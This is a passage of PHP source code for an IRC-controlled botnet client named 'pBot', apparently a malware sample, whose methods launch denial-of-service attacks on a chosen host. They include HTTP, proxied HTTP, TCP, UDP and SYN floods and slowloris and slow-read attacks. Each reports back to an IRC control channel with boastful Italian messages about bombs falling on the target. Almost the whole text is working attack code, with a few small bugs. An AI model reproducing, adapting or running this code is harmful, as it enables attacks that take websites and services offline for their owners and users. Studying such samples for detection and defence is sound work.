$this->privmsg($this->config['chan'], "[\2CloudFlare not detected...\2]"); } if ($bypassed) { $this->privmsg($this->config['chan'], "[\2CloudFlare bypassed!\2]"); } $this->privmsg($this->config['chan'], "[\2Flodding...\2]"); while (time() - $timei < $time) { $handle = fsockopen($host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - CloudFlare - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function httpflood($host, $port, $time, $method="GET", $url="/") { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - HTTP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 900\r\n"; $packet .= "Cache-Control: no-cache\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n"; $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n\r\n"; while (time() - $timei < $time) { $handle = fsockopen($host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - HTTP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function proxyhttpflood($url, $proxyListUrl, $time, $method="GET") { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - PROXYHTTP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); //Grabbing proxy $proxyList = curl($proxyListUrl); if ($proxyList) { $proxies = explode("\n", $proxyList); if (count($proxies)) { shuffle($proxies); $proxies[0] = trim($proxies[0]); $proxy = explode(":", $proxies[0]); $proxyIp = $proxy[0]; $proxyPort = $proxy[1]; if ($proxyPort && $proxyIp) { $user_agent = $this->user_agents[rand(0, count($this->user_agents)-1)]; $packet = "$method $url HTTP/1.1\r\n"; $packet .= "Host: $host\r\n"; $packet .= "Keep-Alive: 900\r\n"; $packet .= "Cache-Control: no-cache\r\n"; $packet .= "Content-Type: application/x-www-form-urlencoded\r\n"; $packet .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"; $packet .= "Accept-Language: en-GB,en-US;q=0.8,en;q=0.6\r\n"; $packet .= "Accept-charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3\r\n"; $packet .= "Connection: keep-alive\r\n"; $packet .= "User-Agent: $user_agent\r\n\r\n"; while (time() - $timei < $time) { $handle = fsockopen($proxyIp, $proxyPort, $errno, $errstr, 1); fwrite($handle, $packet); } } else { $this->privmsg($this->config['chan'], "[\2Malformed proxy!\2]"); } } else { $this->privmsg($this->config['chan'], "[\2No proxies found!\2]"); } } else { $this->privmsg($this->config['chan'], "[\2Proxy List not found!\2]"); } $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - HTTP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!! (Proxy: ".$proxies[0].")!\2]"); } public function tcpflood($host, $port, $time) { $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - TCP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $packet = ""; for ($i = 0; $i < 65000; $i++) { $packet .= $this->charset[rand(0, strlen($this->charset))]; } while (time() - $timei < $time) { $handle = fsockopen("tcp://".$host, $port, $errno, $errstr, 1); fwrite($handle, $packet); } $this->privmsg($this->config['chan'], "[\2IRC TERRORIST - TCP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function slowRead($host, $port, $time) { $timei = time(); $fs = array(); //initialize get headers. $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWREAD - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $headers = "GET / HTTP/1.1\r\nHost: {$host}\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/31.0.1650.63 Safari/537.36\r\n\r\n"; while (time() - $timei < $time) { for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, $port, $errno, $errstr); fwrite($fs[$i], $headers); } while (time() - $timei < $time) { for ($i = 0; $i < count($fs); $i++) { if (!$fs[$i]) { $fs[$i] = @fsockopen($host, $port, $errno, $errstr); fwrite($fs[$i], $headers); } fread($fs[$i], 1); } sleep(mt_rand(0.5, 2)); } } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWREAD - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function attack_http($mthd, $server, $time) { $timei = time(); $fs = array(); $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Started On : $server!\2]"); $request = "$mthd / HTTP/1.1\r\n"; $request .= "Host: $server\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Accept: *.*\r\n"; $timei = time(); for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { if (@fwrite($fs[$i], $request)) { continue; } else { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } } } $this->privmsg($this->config['chan'], "[\2Layer 7 {$mthd} Attack Finished!\2]"); } public function attack_post($server, $host, $time) { $timei = time(); $fs = array(); $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Started On : $server!\2]"); $request = "POST /" . md5(rand()) . " HTTP/1.1\r\n"; $request .= "Host: $host\r\n"; $request .= "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"; $request .= "Keep-Alive: 900\r\n"; $request .= "Content-Length: 1000000000\r\n"; $request .= "Content-Type: application/x-www-form-urlencoded\r\n"; $request .= "Accept: *.*\r\n"; for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { if (@fwrite($fs[$i], $request)) { continue; } else { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } } } fclose($sockfd); $this->privmsg($this->config['chan'], "[\2Layer 7 Post Attack Finished!\2]"); } public function doSlow($host, $time) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWLORIS - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $i = 0; for ($i = 0; $i < 100; $i++) { $fs[$i] = @fsockopen($host, 80, $errno, $errstr); } while ((time() - $timei < $time)) { for ($i = 0; $i < 100; $i++) { $out = "POST / HTTP/1.1\r\n"; $out .= "Host: {$host}\r\n"; $out .= "User-Agent: Opera/9.21 (Windows NT 5.1; U; en)\r\n"; $out .= "Content-Length: " . rand(1, 1000) . "\r\n"; $out .= "X-a: " . rand(1, 10000) . "\r\n"; if (@fwrite($fs[$i], $out)) { continue; } else { $fs[$i] = @fsockopen($server, 80, $errno, $errstr); } } } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SLOWLORIS - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]"); } public function syn($host, $port, $time, $delay=1) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SYN - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $timei = time(); $socks = array(); while (time() - $timei < $time) { $numsocks++; $socks[$numsocks] = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!$socks[$numsocks]) continue; @socket_set_nonblock($socks[$numsocks]); for ($j = 0; $j < 20; $j++) @socket_connect($socks[$numsocks], $host, $port); sleep($delay); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - SYN - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!! (".$numsocks." socks created)!\2]"); } public function synflood($host, $port, $delay) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - Syn - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $socks = array(); $numsocks = 0; $numsocks++; $socks[$numsocks] = socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if(!$socks[$numsocks]) continue; @socket_set_nonblock($socks[$numsocks]); for($j = 0; $j < 20; $j++) @socket_connect($socks[$numsocks], $host, $port); sleep($delay); for ($j = 0; $j < $numsocks; $j++) { if($socks[$j]) @socket_close($socks[$j]); } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - Syn - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]: Config - For $host:$port."); } public function udpflood($host, $port, $time, $packetsize) { $this->privmsg($this->config['chan'], "[\2 >> Attack started by RT | $host:$port << \2]"); $packet = ""; for ($i = 0; $i < $packetsize; $i++) { $packet .= chr(rand(1, 256)); } $end = time() + $time; $i = 0; $fp = fsockopen("udp://" . $host, $port, $e, $s, 5); while (true) { fwrite($fp, $packet); fflush($fp); if ($i % 100 == 0) { if($end < time()) break; } $i++; } fclose($fp); $env = $i * $packetsize; $env = $env / 1048576; $vel = $env / $time; $vel = round($vel); $env = round($env); $this->privmsg($this->config['chan'], "[\2 >> Attack finished - " . $env . " MB sent | Average: " . $vel . " Mbps << \2]"); } public function tcpconn($host, $port, $time) { $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - TCP - STO LANCIANDO BOMBE ATOMICHE SUL BERSAGLIO!!!\2]"); $end = time() + $time; $i = 0; while ($end > time()) { $fp = fsockopen($host, $port, $dummy, $dummy, 1); fclose($fp); $i++; } $this->privmsg($this->config['chan'], "[\2IRC SCHIAVI - TCP - BOMBE LANCIATE SUL BERSAGLIO, NON CREDO SIANO ANCORA VIVI!!!\2]: sent " . $i . " connections to $host:$port."); } } $bot = new pBot; $bot->start($cfg); function curl($url, $post=array(), $user_agent="", $deleteCookies=false) { $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_URL, $url); if ($user_agent) { curl_setopt($ch, CURLOPT_USERAGENT, $user_agent); } if (!empty($post)) { curl_setopt($ch,CURLOPT_POST, 1); curl_setopt($ch,CURLOPT_POSTFIELDS, $post); } if ($deleteCookies) { file_put_contents("cookie.txt", ""); } curl_setopt ($ch, CURLOPT_COOKIEJAR, "cookie.txt"); curl_setopt ($ch, CURLOPT_COOKIEFILE, "cookie.txt"); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true); $result = curl_exec($ch); //$statusCode = curl_getinfo($ch, CURLINFO_HTTP_CODE); curl_close($ch); return $result; } function get_between($string,$start,$end) { $string = " ".$string; $ini = strpos($string, $start); if($ini==0) return ""; $ini += strlen($start); $len = strpos($string, $end, $ini) - $ini; return substr($string, $ini, $len); } ?>
Copyright (c) 2016 LittleHann All rights reserved